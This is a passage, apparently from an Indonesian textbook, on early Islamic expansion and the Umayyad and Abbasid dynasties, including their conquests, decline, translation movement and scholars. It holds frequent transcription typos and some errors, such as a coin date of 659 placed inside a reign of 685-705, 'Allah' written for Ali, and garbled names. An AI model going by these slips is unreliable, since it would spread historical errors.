pemerintahan, undang-undang dan lembaga-lembaga sendiri). Dengan kata lain, Islam, berlainan dengan agama-agama besar lain, segera dalam sejarah mengambil bentuk negara, yang kian hari kian meluas daerahnya. Islam di Mekkah memang baru mempunyai corak agama, tetapi di Madinah coraknya bertambah dengan corak agama, sedang di Baghdad kapada corak agama dan negara itu ditambahkan lagi corak kebudayaan dan peradaban.
2. Dalam hati para sahabat Nabi Muhammad seperti Abu Bakar, Umar, dan lain-lain terdapat keyakinan yang tebal tentang kewajiban menyampaikan ajaran-ajaran Islam, sebagai agama baru, keseluruh tempat. Dan pada suku-suku bangsa Arab terdapat kegemaran untuk berperang. Karena mereka telah merupakan satu umat di bawah naungan Islam, peperangan antara sesama mereka, seperti yang biasa jadi di zaman Jahiliah, tidak mungkin lagi. Maka di sini bertemulah iman tebal para sahabat dengan kegemaran berperang suku-suku bangsa Arab dan timbullah suatu kekuatan baru di Medinah yang dengan mudah dapat mengalahkan kekuatan Bizantium dan Persia sebagai negara tetangga Medinah di waktu itu. 3
3. Kedua negara itu pada zaman itu telah memasuki fase kelemahannya. Kelemahan itu timbul bukan hanya karena peperangan, yang telah semenjak beberapa abad senantiasa terjadi antara keduanya, tetapi juga karena faktor-faktor dalam negeri. Kalau di daerah-daerah yang berada di bawah kekuasaan Bizantium terdapat partentanganpertentangan agama, di Persia disamping pertentangan agama terdapat pula persaingan antara anggota-anggota keluarga Raja untuk merebut kekuasaan. Hal-hal ini membawa kepada pecahanya keutuhan masyarakat di kedua negara itu. Pertentangan agama Bizantim terjadi antara faham resmi yang dianut Kerajaan dan aliran Monofisit serta aliran Nestor. Menurut Gereja resmi dalam diri Jesus terdapat dua sifat, sifat ketuhanan dan sifat kemanusiaan. Dalam pada itu Gereja resmi ini memberi tekanan pada sifat kemanusiaan Jesus. Menurut aliran Monofisit, yang banyak dianut di Mesir, Suria dan Armenia, Tuhan menjelma dalam diri Jesus. Di sini yang ditekankan ialah sifat ketuhanannya, Golongan Nestor, yang banyak terdapat di Mesopotamia dan Persia, memberi tekanan yang sama pada sifat ketuhanan dan sifat kemanusiaan Jesus, dalam arti bahwa satu aspek Jesus, benar-benar adalah Tuhan, tetapi dalam aspek lain benar-benar pula manusia. Di Persia, dalam peperangan dengan Bizantium, Raja Chosrus (590-625 M) dikalahkan oleh Raja Heraclitus. Kerajaannya hancur. Pajak berat untuk belanja peperangan dan hidup mewah di Istana amat menekan bagi rakyat. setelah jatuhnya Chosroes, anggota-anggota keluarga Raja berlomba-tamba untuk memegang tampuk kekuasaan. Dalam pertarungan itu kaum militer dan kaum turut campur. Raja diangkat untuk dibunuh kemudian, selanjutnya diangkat yang baru untuk dibunuh pula dan demikian seterusnya sehingga dimasa antara Chosrores dan Yazdagird belasan Raja silih berganti. Di samping itu terdapat pula di Persia pertentangan antara pengikut-pengikut Zoroaster dan umat Kristen dengan aliras Nestor dan Monofisitnya.
4. Dengan adanya usaha-usaha Kerajaan Bizantium untuk memaksakan aliran yang dianutnya kepada rakyat yang diperintah rakyat merasa hilangnya kemerdekaan beragama bagi mereka. Disamping itu mereka dibebani pula dengan pajak yang tinggi guna menutupi belanja perang Kerajaan Bizantium dengan Kerajaan Persia. Hal-hal ini membuat timbulnya perasaan tidak senang dari rakyat di daerah-daerah yang dikuasai Bizantium terhadap Kerajaan ini.
5. Sebaliknya Islam datang ke daerah-daerah yang dimasukinya dengan tidak memaksa rakyat untuk merobah agamanya dan kemudian masuk Islam. Dalam Al-Qur-an memang ditegaskan bahwa tidak ada paksaan dalam soal agama. Yang diwajibkan bagi Islam, ialah menyampaikan ajaran-ajaran Islam kepada umat manusia, dan selanjutnya terserahlah kepada yang bersangkutan untuk masuk Islam atau tidak masuk Islam. Sejarah memang.membuktikan bahwa rakyat di daerah-daerah yang dikuasai Islam, seperti Suria, Palestina, Mesir, Irak, dan lain-lain tidak dipaksa masuk Islam. Mereka tetap dalam agama mereka masing-masing, tetapi diharuskan membayar semacam pajak yang disebut Jizyah. Oleh sebab itu datangnya Islam ke daerah-daerah tersebut tidak mendapat tantangan dari rakyat, bahkan terkadang mendapat bantuan. Sebagai umpama dapat disebut Uskup Damaskus.yang menolong Khalid 4 Ibn Al-Wahd untuk memasuki kota Damaskus. Demikian juga Patriach Mesir menolong tentara Islam dalam usaha mematahkan kekuasaan Kerajaan Bizantium di daerah itu.
6. Dalam pada itu bangsa Sami di Suria dan Palestina dan bangsa di Mesir memandang bangsa Arab lebih dekat kepada mereka dari pada bangsa Eropah Bizantium yang memerintah mereka.
7. Daerah-daerah yang dikuasai Islam seperti Mesir, Suria, Irak, dan lain-lain penuh dengan kekayaan. Kekayaan yang diperoleh umat Islam di daerah-daerah itu membuat ekspansi seterusnya mudah mendapat bea yang diperlukan. Inilah beberapa dari sebab-sebab yang membawa kepada cepatnya kekuasaan Islam meluas ke daerah-daerah di luar Semenanjung Arabia.
Bani Umayyah.
Dinasti Bani Umayyah yang didirikan oleh Mu'awiah berumur kurang lebih 90 tahun dan di zaman ini ekspansi yang terhenti di zaman kedua Khalifah terakhir dilanjutkan. Khalifah-khalifah besar dari Dinasti Bani Umayyah adalah Mu'awiah Ibn Abi Sufyan (661 - 680 M.), Abd Malik Ibn Marwan (685 - 705 M), Al-Walid Ibn Abd Al-Malik (705 - 715 M), Umar lbn Al-Aziz (717-720 M) dan Hisyam Ibn Abd Al-Malik (724- 743 M). Di zaman Mu'awiah, Uqbah Ibn Nafi' menguasai Tunis dan di sana ia dirikan di tahun 670 M. Kota Qairawan yang kemudian menjadi salah satu pusat kebudayaan Islam. Di sebelah Timur Mu'awiah dapat memperoleh daerah Khurasan sampai ke sungai Oxus dan Afghanistan sampai ke Kabul. Angkatan Lautnya mengadakan serangan-serangan ke ibu kota Bizantium, Konstantinopel. Ekspansi ke Timur diteruskan di zaman Abd Al-Malik di bawah pimpinan AI-Hajjaj Ibn Yusuf. Tentara yang dikirimnya menyeberangi sungai Oxus dan dapat menundukkan Balkh, Bukhara, Khawarizm, Ferghana dan Samarkand. Tentaranya juga sampai ke India dapat menguasai Balukhistan, Sind dan daerah Punjab sampai ke Multan. Ekspansi ke Barat terjadi di zaman Al-Walid. Musa Ibn Nusayr menyerang Jazair dan Niarokko dan setelah dapat menundukkannya mengangkat Tariq Ibn Ziad sebagai wakil untuk memerintah daerah itu. Tariq kemudian menyeberang selat yang terdapat antara Marokko dengan benua Eropah, dan mendarat di suatu tempat yang kemudian dikenal dengan namanya Gibraltar (Jabal Tariq). Tentara Spanyol di bawah pimpinan Raja Roderick dikalahkan dan dengan demikian pintu untuk memasuki Spanyol terbuka luas. Toledo, ibu kota, jaga demikian pula kota-kota lain seperti Seville, Malaga, Elvira dan dova yang kemudian menjadi ibu kota Spanyol Islam yang dalam bahasa Arab disebut Al- Andalus (dari kata Vandals). Serangan-serangan selanjutnya dipimpin oleh Musa Ibn Nusayr sendiri. Spanyol menjadi daerah Islam. Serangan ke Perancis, dengan melalui pegunungan Piranee, utama dilakukan oleh Abd Al-Rahman Ibn Abdullah Al-Ghafiq zaman Umar Ibn Abd A1-Aziz. la serang Bordeau, Poitiers dan Poitiers mencoba menyerang Tours. Tetapi di antara kedua kota ia ditahan oleh Charles Martel, dan dalam pertempuran selanjunya ia mati terbunuh. Ekspansi ke Perancis gagal dan tentara yang dipimpinnya mundur kembali ke Spanyol. Sesudah itu masih juga diadakan serangan-serangan, umpamanya Avignon di tahun 734 M dan Lyons di tahun 743 M. Pulau-pulau yang terdapat di Laut Tengah, Majorca, Corsica, Sardinia, Crete, Rhodes, Cyprus dan sebahagian dari Sicilia jatuh ke tangan Islam di zaman Bani Umayyah. Daerah-daerah yang dikuasai Islam di zaman Dinasti ini adalah Spanyol, Afrika Utara, Suria, Palestina, Semenanjung Arabia, sebahagian dari Asia Kecil, Persia, Afghanistan, daerah yang sekarang disebut Pakistan, Rurkmenia, Uzbek dan Kirgis (di Asia Tengah). Ekspansi yang dilakukan Dinasti Bani Umayyah inilah membuat Islam menjadi negara besar di zaman itu. Dari persatuan berbagai bangsa di bawah naungan Islam, timbullah benih-benih kejiayaan dan peradaban Islam yang baru, sungguhpun Bani Umayyah lebih banyak memusatkan perhatian kepada kebudayaan Arab. Perubahan bahasa administrasi dari bahasa Yunani dan bahasa riawi ke bahasa Arab dimulai oleh Abd Al-Malik. Orang-orang bukan Arab pada waktu itu telah mulai pandai berbahasa Arab. Untuk menyempurnakan pengetahuan mereka tentang bahasa Arab, terutama pengetahuan pemeluk-pemeluk Islam baru dari bangsa-bangsa bukan Arab, perhatian kepada bahasa Arab, terutama tata bahasanya, mulai diperhatikan. Inilah yang mendorong Sibawaih untuk menyusun Al-Kitab, yang selanjutnya menjadi pegangan dalam soal tata bahasa Arab. Perhatian kepada syair Arab Jahiliyah timbul kembali dan penyairpenyair Arab barupun timbul pula seperti Umar Ibn Abi Rabiah (w.719 M.), JamiI A1-Udhri (w.701 M.), Qays Ibn Al-Mulawwah (w.699 M.) yang lebih dikenal dengan nama Majnun Laila, Al-.Farazdaq (w.732 M.), Jarir (w.792M.) dan Al-Akhtal (w.710 M.). Juga perhatian kepada tafsir, fiqih dan ilmu kalam di zaman inilah dimulai dan timbullah nama-nama seperti Hasan Al Basri, Shihab Al-Zuhri dan Wasil Ibn Ata'. Yang menjadi pusat dari kegiatan-kegiatan ilmiah ini adalah Kufah dan Basrah di Irak. Selain dari merobah bahasa administrasi, juga Abd.Al-Malik merubah mata uang yang dipakai di daerah-daerah yang dikuasai Islam. Sebelumnya yang dipakai ialah mata uang Bizantium dan Persia seperti dinar (denarius) dan dirham (Persia : diram dan Yunani : drach). Sebagai pengganti dari mata uang asing ini, Abd Al-Malik mencetak uang sendiri di tahun 659 M. dengan memakai kata-kata dan tulisan Arab. Dinar dibuat dari emas dan dirham dari perak. Mesjid-mesjid pertama di luar Semenanjung Arabia juga dibangun di zaman Dinasti Bani Umayyah. Katedral St. John di Damaskus dirobah menjadi rnesjid, sedang Katedral yang ada di Hims dipakai sekaligus untuk mesjid dan gereja (menurut Istakhri, Ibn Hawqal dan Maqdisi sebagai dikutip oleh Hitti dalam History of the Arabs, cetakan.kedelapan, hal. 261). Di Al-Quds (Jerusalem), Abd Al-Malik membangun mesjid Al- Aqsa. Monumen terbaik yang ditinggalkan zaman ini untuk generasigenerasi sesudahnya ialah Qubbah Al-Sakhr (Dome of the Rock) juga di Al-Quds, ditempat yang menurut riwayatnya adalah tempat Nabi Ibrahim menyembelih Ismail dan Nabi Muhammad mulai dengan mi'raj ke langit. Mesjid Cordova juga di zaman inilah dibangun. Mesjid Mekkah dan Medinah diperbaiki dan diperbesar oleh Abd Al-Malik dan Al-Walid. Selain dari mesjid-mesjid, Dinasti Bani Umayyah juga mendirikan istana-istana untuk tempat beristirahat di padang pasir, seperti Qusayr Amrah dan AI-Mushatta yang bekas-bekasnya masih ada sampai sekarang. Demikianlah kemajuan-kemajuan yang dicapai dan dibuat oleh Dinasti Bani Umayyah. Kekuasaan dan kejayaan Dinasti ini mencapai puncaknya di zaman Al-Walid I. Sesudah itu kekuasaan mereka menurun sehingga akhirnya dipatahkan oleh Bani Abbas di tahun 750 M. Di antara sebab-sebab yang membawa pada kelemahan dan akhirnya kejatuhan Dinasti Bani Umayyah adalah hal-hal berikut :
1. Dari semenjak berdirinya, Dinasti Bani Umayyah telah menghadapi tantangan-tantangan. Kaum Khawarij pada mulanya adalah pengikut Ali, tetapi karena tidak setuju dengan politik Ali untuk mencari penyelesaian secara damai dengan Mu'awiah tentang soal khilafah, mereka keluar dari barisan Ali. Sebagai kekuatan baru mereka menentang bukan Ali saja tetapi juga Mu'awiah karena mereka berpendapat bahwa penyelesaian sengketa yang tidak didasarkan atas Al-Qur-an telah membuat kedua pemuka itu berdosa besar. Dan orang yang berdosa besar dalam keyakinan mereka telah menjadi kafir atau murtad dan harus diperangi : Sampai ke masa-masa terakhirnya, Dinasti Bani Umayyah. senantiasa mendapat perlawanan dari kaum Khawarij.
2. Sewaktu Ali Ibn Abi Talib menjadi Khalifah ia, sebagai disebut di atas, mendapat tantangan, bukan hanya dari Mu'awiah dan kaum Khawarij, tetagi juga dari Talhah dan Zubeir di Makkah. Dalam serangan yang terjadi, Talhah dan Zubeir mati terbunuh. Di zaman Bani Umayyah, anak Zubeir, bernama Abdullah, meneruskan usaha orang tuanya untuk merebut khilafah ke tangan fihak mereka, terutama sesudah Mu'awiah meninggal dunia. Hejaz berdiri di belakang Abdullah Ibn Zubeir. Yazid Ibn Mu'awiah mengirim tentara ke Medinah dan Mekkah untuk memukul Abdullah dan dalam peperangan yang terjadi Ka'bah terbakar dan Al-Hajr Al-Aswad kena pelor dan pecah menjadi tiga. Ekspedisi ini dengan matinya Yazid di tahun 683 M, berhenti sampai di sini dan. tentara kembali ke Damaskus. Kekuasaan Abdullah Ibn Zubeir sesudah itu meluas sampai di Irak, di Mesir, Arabia Selatan dan bahkan juga di bahagian-bahagian tertentu di Suria. Kemudian Al-Hajjajlah baru dapat memukul kekuatan Abdullah di tahun 692 M.
3. Tantangan keras yang akhirnya membawa kejatuhan Bani Umayyah datang dari fihak golongan Syi'ah. Golongan Syiah adalah pengikut-pengikut yang setia dari Ali Ibn Abi Talib dan berkeyakinan bahwa Allah sebenarnya yang harus menggantikan Nabi Muhammad untuk menjadi Khalifah umat Islam. Perlawanan terhadap Bani Umayyah dimulai oleh Husain. Di tahun 680 M. ia pindah, dari Medinah ke Kufah atas permintaan golongan Syi’ah yang ada di Irak. Umat Islam di Irak tidak mengakui Yazid dan mengangkat Husain sebagai Khalifah mereka. Dalam pertempuran yang terjadi di Karbala, suatu tempat di dekat Kufah, tentara Husain kalah dan Husain sendiri mati terbunuh. Kepalanya dipenggal dan dikirim ke Damaskus, sedanig tuhuhnya dikuburkan diKarbala'. Peristiwa ini membuat Husain dalam pandangan Syi'ah menjadi syahid atau martyr dan Karbala' kemudian menjadi tempat suci yang senantiasa dikunjungi dan diziarahi kaum Syi'ah sampai sekarang. Dalam pada itu perlawanan Syi'ah terhadap Bani Umayyah menjadi bertambah gigih dan pengikutnya mulai meluas di kalangan umat Islam. Pemberontakan-pemberontakan terjadi dan yang termasyhur ialah pemberontakan Mukhtar di Kufah di tahun 685 - 687 M. Mukhtar mendapat banyak pengikut di kalangan kaum Mawali, yaitu umat Islam bukan Arab dan berasal dari Persia, Arfftenia dan lain-lain.
4. Pertentangan tradisionil antara suku Arab Utara dan suku Arab Selatan mengacau ketenteraman pemerintah Bani Umayy kalau Khalifah dekat dengan suku Arab Utara, suku Arab Sela merasa iri hati, dan sebaliknya, kalau Khalifah mengutamakan si Arab Selatan, suku Arab Utara merasa tidak senang. Peristiwa terkadang membawa kepada pertempuran. Yazid Ibn Mu'awiah, umpamanya, memperoleh sokongan dari Bani Kalb (suku Arab Selat dan ketika ia meninggal dunia, anaknya Mu'awiah II tidak disokong oleh Bani Qasy (suku Arab Utara) malahan memihak kepada Abdullah Ibn Zubeir, Khalifah saingan di Hijaz. Dan ketika Marwan Ibn Hakam menjadi Khalifah sebagai pengganti dari Mu'awiah II, pertempuran terjadi antara Bani Kalb dan Bani Qays di tahun
684 M. Dalam pertempuran ini Bani Kalb mengalami kekalahan. Peristiwaperistiwa serupa ini selalu terjadi sampai ke masa-masa terakhir dari Bani Umayyah.
5. Persaingan di kalangan anggota-anggota Dinasti Bani Umayyah juga membawa kepada kelemahan kedudukan mereka. Dalam soal penggantian Khalifah sokongan dari suku Arab terkuatlah yang pada akhirnya menentukan siapa yang menjadi Khalifah: Persaingan mudah timbul karena tidak adanya ketentuan tegas tentang garis yang harus ditempuh dalam pemindahan kekuasaan Khalifah, apa dari Khalifah ke anak atau dari Khalifah ke saudara, selama ada dari saudara-saudara kandungnya yang masih hidup.
6. Hidup mewah di istana memperlemah jiwa dan vitalitas anak-anak Khalifah yang membuat mereka kurang sanggup untuk memikul beban pemerintahan negara yang demikian besar.
7. Akhirnya yang langsung membawa kepada jatuhnya kekuasaan Bani Umayyah ialah munculnya satu cabang lain dari Quraisy, yaitu Bani Hasyim sebagai saingan bagi Bani Umayyah dalam soal Khalifah atau pemerintahan umat Islam. Gerakan ini dipelopori oleh Al-Abbas seorang keturunan dari paman Nabi Muhammad, Al-Abbas Abd Al-Muttalib Ibn Hasyim. Abu Al-Abbas mengadakan kerjasama dengan kaum Syi'ah. Serangan terhadap kekuasaan Bani Umayi dimulai dari Khurasan, suatu daerah di Persia yang telah banyak Oengaruhi aliran Syi'ah. Seranganserangan dipimpin oleh Abu Muslim Al-Khurasan, seorang pemuka yang berasal dari Persia, Marw, ibu kota Khurasan, jatuh di tahun 749 M, dan kemudian Kufah di Irak. Di Kufah Abu Al-Abbas diangkat sebagai Khalifah. Dalam pertempuran yang terjadi antara kekuatan Bani Abbas dan kekuatan Bani Umayyah pada tahun 750 M. di Irak, yang tersebut akhir ini kalah dan Khalifah Marwan lari ke Mesir. Tidak lama kemudian Damaskuspun jatuh. Khalafah Bani Umayyah digantikan oleh Khalifah Bani Abbas.
Bani Abbas
Sungguhpun Abu Al-Abbaslah (750 - 754 M.) yang mendirikan Dinasti Bani Abbas, tetapi pembina sebenarnya adalah Al-Mansur (754 - 775 M.). Sebagai khalifah yang baru musuh-musuh ingin menjatuhkannya sebelum ia bertambah kuat, terutama golongan Bani
Umayyah, golongan Khawarij, bahkan juga kaum Syi'ah. Kaum Syi'h, setelah melihat bahwa Bani Abbas memonopoli kekuasaan mulai mengambil sikap menentang. Dalam menghancurkan lawan, Al-Mansur tidak segan-segan membunuh sekutu yang membawa keluarganya pada kekuasaan. Abu Muslim, karena dianggap akan menjadi saingan yang berbahaya di Khurasan, diundang datang ke Bagdad, tetapi kemudian diadili dan dijatuhi hukuman mati. Dalam usaha mempertahankan kekuasaan Bani Abas, A1-Mansur memakai kekerasan. Al-Mansur kelihatannya merasa kurang aman di tengah-tengah Arab, maka ia dirikan ibu kota baru sebagai ganti Damaskus, Bagdad didirikan di dekat bekas ibu kota Persia, Ctesiphon, pada tahun 762 M Bani Abbas sekarang berada di tengah-tengah bangsa Persia. Untuk tentara pengawalnya Al-Mansur juga tidak mengambil orang Arab, tetapi orang Persia. Dalam soal pemerintahan Al-Mansur mengadakan tradisi baru dengan mengangkat wazir yang membawahi kepala-kepala Departemen. Untuk memegang jabatan wazir itu ia pilih Khalid Ibn Barmak, seorang yang berasal dari Balkh (Bactral) di Persia. Al-Ma.hdi (775 - 785 M.) menggantikan A1-Mansur sebagai Khalifah dan di masanya, hidup perekonomian mulai meningkat. Pertanian ditingkatkan dengan mengadakan irigasi dan penghasilan gandum, beras, korma dan zaitun (olives) bertambah. Hasil pertambangan seperti perak, emas, tembaga, besi dan lain-lain berkembangkan, Dagang transit antara Timur dan Barat juga membawa kekay Basrah menjadi pelabuhan yang penting. Di zaman Harun A1-Rasyid (785 -809 M) hidup mewah sebagai yang digambarkan dalam berita Seribu Satu Malam, sudah mesuki masyarakat. Kekayaan yang banyak, dipergunakan AI-Rasyid juga untuk keperluan sosial. Rumah sakit didirikan, pendidikan dokter dipentingkan, dan farmasi dibangun. Diceritakan bahwa Bagdad mempunyai 800 dokter. Di samping itu pemandian-pemandian umum juga didirikan. Harun AI-Rasyid adalah Raja Besar di zaman itu hanya Charlemagne di Eropah yang dapat menjadi saingannya. Anaknya Al-Ma'mun (813 - 833 M.) meningkatkan perhatian pada ilmu pengetahuan. Untuk menterjemahkan buku-buku kebudayaan Yunani la menggaji penterjemah-penterjemah dari golongan Kristen, Sabi dan bahkan juga penyembah bintang. Untuk itu ia dirikan Bait Al-Hikmah. Di samping lembaga ini ia dirikan sekolah-sekolah. Al Ma'mun adalah penganut aliran Mu'tazilah banyak dipengaruhi oleh ilmu pengetahuan dan falsafat Turki. Di masanya Bagdad mulai menjadi pusat kebudayaan dan ilmu pengetahuan. Khalifah AI-Mu'tasim (833 - 842 M.) sebagai anak dari ibu, berasal Turki, mendatangkan orang-orang Turki untuk menjadi tentara pengawalnya. Dengan demikian pengaruh Turki mulailah masuk ke pusat pemerintahan Bani Abbas. Tentara pengawal Turki ini kemudian begitu berkuasa di Istana, sehingga Khalifah-khalifah pada akhirnya hanya merupakan boneka dalam tangan mereka. Yang pada hakekatnya memerintah bukan lagi Khalifah, tetapi perwira-perwira dan tentara pengawal Turki itu. A1-Wathiq (842 - 847 M.), untuk melepaskan diri dari pengaruh Turki, mendirikan ibu kota Samarra (Surra man ra’a = gembira orang yang melihatnya) dan pindah dari Bagdad. Tetapi di sana khalifah-khalifah bertambah mudah dapat dikuasai oleh tentera pengawal Turki tersebut. Al-Mutawakkil (847 - 861 M) merupakan Khalifah besar trakhir dari Dinasti Bani Abbas. Khalifah-khalifah yang sesudahnya ada umumnya lemah-lemah dan tidak dapat melawan kehendak tentara pengawal dan Sultan-sultan yang kemudian datang menguasai ibu kota. Ibu kota dipindahkan kembali ke Bagdad oleh Mu'tadid (870 - 892 M.). Khalifah terakhir sekali dari Dinasti Bani Abbas adalah Al-Musta’sim (1242 - 1258 M.). Di zamannyalah Bagdad dihancurkan oleh Hulagu di tahun 1258 M. Dengan demikian, kalau Bani Umayyah dengan Damaskus sebagai ibu kotanya, mementingkan kebudayaan Arab, Bani Abbas dengan memindahkan ibu kota ke Bagdad, telah agak jauh dari pengaruh Arab. Bagdad terletak di daerah yang banyak dipengaruhi oleh kebudayaan Persia. Di samping itu tangan kanan yang memawa Bani Abbas kepada kekuasaan adalah orang-orang Persia. Dan setelah berkuasa, cendekiawan-cendekiawan Persialah yang mereka pakai sebagai pembesar-pembesar di Istana. Yang terbesar dan banyak berpengaruh pada mulanya ialah keluarga Barmak. Jabatan wazir yang diberikan oleh AI-Mansur kepada Khalid Ibn Barmak kemudian turun-temurun ke anak dan cucu-cucunya. Keluarga Barmak, sebagai yang berasal dari Balkh (Bactra), pusat ilmu pengetahuan dan falsafat Yunani di Persia, mempunyai pengaruh dalam memperkembangkan ilmu pengetahuan dan falsafat Yunani di Bagdad. Mereka, di samping menjadi wazir, juga menjadi pendidik dari anak-anak Khalifah. Di samping itu Khalifah-khalifah mengambil wanita-wanita Persia sebagai isteri dan dari perkawinan ini timbullah Khalifah-khalifah yang mempunyai darah Persia, seperti Al-Ma'mun. Semua ini membuat pengaruh Persia lebih besar kepada Dinasti ini Abbas daripada pengaruh Arab. Dengan menaiknya kedudukan orangorang Persia dan kemudian orang-orang Turki dalam pemerintahan Bani Abbas, kedudukan orang-orang Arab menurun. Bani Abbas merobah corak Khilafah dari Islam Arab, sebagai yang terdapat di masa Bani Umayyah, kepada Islam yang dipengaruhi unsure-unsur bukan Arab, terutama unsur Persia. Perbedaan lain lagi antara kedua Dinasti ini ialah, kalau masa Bani Umayyah merupakan masa ekspansi daerah kekuasaan Isla masa Bani Abbas adalah masa pembentukan dan perkembangan kebudayaan dan peradaban Islam. Di masa Bani Abbas inilah perhatian kepada ilmu pengetahuan dan falsafat Yunani memuncak, terutama di zaman Harun Al-Rasyid dan Al- Ma'mun. Buku-buku ilmu pengetahuan dan falsafat didatangkan dari Bizantium dan kemudian diterjemahkan ke dalam bahasa Arab. Kegiatan penterjemahan buku-buku ini berjalan kira-kira satu abad. Bait Al-Hikmah, yang didirikan Al-Ma'mun, bukan hanya merupakan pusat penterjemahan tetapi juga akademi yang mempunyai perpustakaan. Di antara cabangcabang ilmu pengetahuan yang diutamakan dalam Bait A1-Hikmah ialah ilmu kedokter matematika, optika, geagrafia, fisika, astronomi dan sejarah samping falsafat. Di antara integrasi yang terjadi di zaman ini adalah integrasi dalam bidang bahasa. Bahasa Al-Qur-an, yaitu hahasa Arab, dipakai di mana mana. Bahasa ini telah menggantikan bahasa Yunani dan bahasa Persia sebagai bahasa administrasi. Bahasa Arab juga menjadi bahasa ilmu pengetahuan, falsafat dan diplomasi. Bahkan beberapa bahasa hilang dari pemakaian, seperti bahasa Latin yang dipakai Afrika, bahasa Mesir Kuno di Mesir, bahasa Siriac di Siria, Lebam Jordan dan Irak dan bahasa yang dipakai di pulau Malta. Dengan hilangnya bahasa-bahasa itu, di Afrika Utara, Mesir, Suria, Lebanon, Irak dan Yordan dipakai bahasa Arab, sedang di pulau Malta bahasa Arab yang bercampur dengan bahasa Italia. lntegrasi terjadi juga dalam lapangan kebudayaan. Kebudayaan yang ada mulai dari Spanyol di Barat sampai ke India di Timur dan mulai dari Sudan di Selatan sampai ke Kaukasus di Utara ada kebudayaan Islam dengan bahasa Arab sebagai alatnya. Di masa ini pulalah buat pertama kalinya dalam sejarah terjadi kontak antara Islam dengan kebudayaan Barat, atau tegasnya dengan kebudayaan Yunani klasik yang terdapat di Mesir, Suria, Mesopotamia dan Persia. Didorong oleh ayat-ayat Al-Qur-an yang menganjurkan kepada umat Islam supaya menghargai kekuatan akal yang dianugerahkan Allah s.w.t. kepada manusia dan didorong oleh ajaran Nabi Muhammad s.a.w. supaya umat Islam senantiasa mencari ilmu
pengetahuan, kontak dengan kebudayaan Barat itu membawa masa yang gilang-gemilang bagi Islam. Cendekiawan-cendekiawan Islam bukan hanya menguasai ilmu pengetahuan dan falsafat yang mereka pelajari dari buku-buku Yunani itu, tetapi menambahkan ke dalamnya hasil-hasil penyelidik yang mereka lakukan sendiri dalam lapangan ilmu pengetahuan dan hasil pemikiran mereka dalam lapangan falsafat. Dengan demikian timbullah ahli-ahli ilmu pengetahuan dan filosof-filosof Islam. Filosof-filosof Islam, sebagaimana halnya dengan filosof-filosof Yunani, bukan hanya mempunyai sifat filosof,
tetapi juga sifat ahli ilmu pengetahuan. Karangan-karangan mereka bukan hanya terbatas dalam lapangan falsafat tetapi juga meliputi lapangan ilmu pengetahuan. Dalam lapangan ilmu pengetahuan terkenal nama Al-.Fazari (abad X) sebagai astronom Islam yang pertama kali menyusun Tolabe (alat yang dahulu dipakai untuk mengukur tinggi bintangitang dan sebagainya). Al-Fargani, yang dikenal di Eropah dengan nama Al-Fragnus, mengarang ringkasan tentang ilmu astronomi yang diterjemahkan ke dalam bahasa Latin oleh Gerard Cremona dan Johannes Hispalensis. Dalam optika Abu Ali Al-Hasan Ibnu AI-Haytham (abad X) yang namanya di Eropakan menjadi Alhazen, terkenal sebagai orang yang menentang pendapat bahwa mata yang mengirim cahaya pada benda yang dilihat. Menurut teorinya yang kemudian nyata kebenarannya, bendalah yang mengirim cahaya ke mata dan karena menerima cahaya itu mata melihat benda yang bersangkutan. Dalam ilmu kimia Jabir Ibnu Hayyan terkenal sebagai bapak al-kimia. Dan Abu Bakar Zakaria Al-Razi (865 - 925 M) mengaran buku besar tentang al-kimia yang baru dijumpai di abad XX ini kembali. Dalam lapangan ini, sebagai kata Gustave Lebon, pengetahuan yang diperoleh Islam dari Yunani sedikit sekali, sehingga pengetahuan ini banyak berkembang sebagai hasil penyelidikan ahli-ahli kimia Islam. Dalam lapangan fisika Abu Raihan Muhammad Al-Baituni (973 -1048 M) sebelum Galileo telah mengemukakan teori tentang bumi berputar sekitar asnya. Selanjutnya ia mengatakan penyelidikan tentang kecepatan suara dan cahaya dan berhasil dalam menentukan berat dan kepadatan 18 macam permata dan metal. Dalam bidang geografi Abu Al-Hasan Ali Al-Mas'ud adalah seorang pengembara yang mengadakan kunjungan keberbagai dunia Islam di abad X dan menerangkan dalam bukunya Maruj Al-Zahat tentang geografia, agama, adat istiadat dan sebagainya dari daerah-daerah yang dikunjunginya. Pengaruh Islam yang terbesar terdapat dalam lapangan ilmu kedokteran dan falsafat. Dalam ilmu kedokteran, Al-Razi yang di Eropa dikenal dengan nama Rhazes, mengarang buku tentang penyakit cacar dan campak yang diterjemahkan ke dalam bahas, Latin, Inggris dan bahasa-bahasa Eropa lainnya. Begitu pentingnya buku ini bagi Eropa sehingga terjemahan Inggerisnya dicetak empat puluh kali di antara tahun 1498 dan 1866 M. Bukunya AI-Hawi yang terdiri atas lebih dari 20 jilid, membahas berbagai cabang ilmu kedokteran. Buku ini diterjemahkan ke dalam bahasa Latin di tahun 1279 dan menjadi buku pegangan penting berabad-abad lamanya di Eropa. Al-Hawi merupakan salah satu dari kesembilan karangan yang merupakan seluruh perpustakaan Fakultas Kedokteran Paris di tahun 1395 M. Ibnu Sina (980 - 1037 M) selain dari filosof adalah juga seorang dokter yang mengarang satu ensiklopedia dalam ilmu kedokteran yang terkenal dengan nama Al-Qanun Fi Al-Tib. Buku ini telah diterjemahkan kedalam bahasa Latin, berpuluh kali dicetak dan tetap dipakai di Eropa sampai pertengahan kedua dari abad ke XVII. Dalam lapangan falsafat nama-nama Al-Farabi, Ibnu Sina dan Ibnu Rusyd terkenal. Al-Farabi mengarang buku-buku dalam falsafat. logika, jiwa, kenegaraan, etika dan interpretasi tentang falsafat Aristoteles, Sebagian dari karangan-karangannya itu diterjemahkan kedalam bahasa Latin dan masih dipakai di Eropa diabad XVII. Ibnu Sina juga banyak mengarang dan yang termasyhur ialah AI-Syifa', suatu ensiklopedia tentang fisika, metafisika dan matematika yang terdiri atas 18 jilid. Bagi Eropa Ibn Sina dengan tafsiran yang dikarangnya tentang falsafat Aristoteles lebih masyhur daripada Al-.Farabi. Tetapi di antara semuanya, Ibn AI-Rusyd atau Averroeslah yang banyak berpengaruh di Eropa dalam bidang falsafat, sehingga di sana terdapat aliran yang disebut Averroisme. Di periode ini pulalah ilmu-ilmu yang bersangkutan dengan keagamaan dalam Islam disusun. Dalam lapangan penyusunan hadishadis Nabi menjadi buku, terkenal nama Muslim dan Bukhari (abad IX); dalam lapangan fiqh atau hukum Islam nama-nama Malik Ibn Anas, Al-Syafi'i, Abu Hanifah dan Ahmad Ibn Hanbal cukup dikenal (abad VIII dan IX), dalam bidang tafsir, Al-Tabari (839 - 923 M), dalam lapangan sejarah Ibn Hisyam (abad VIII), Ibn Sa'd (abad IX), dan 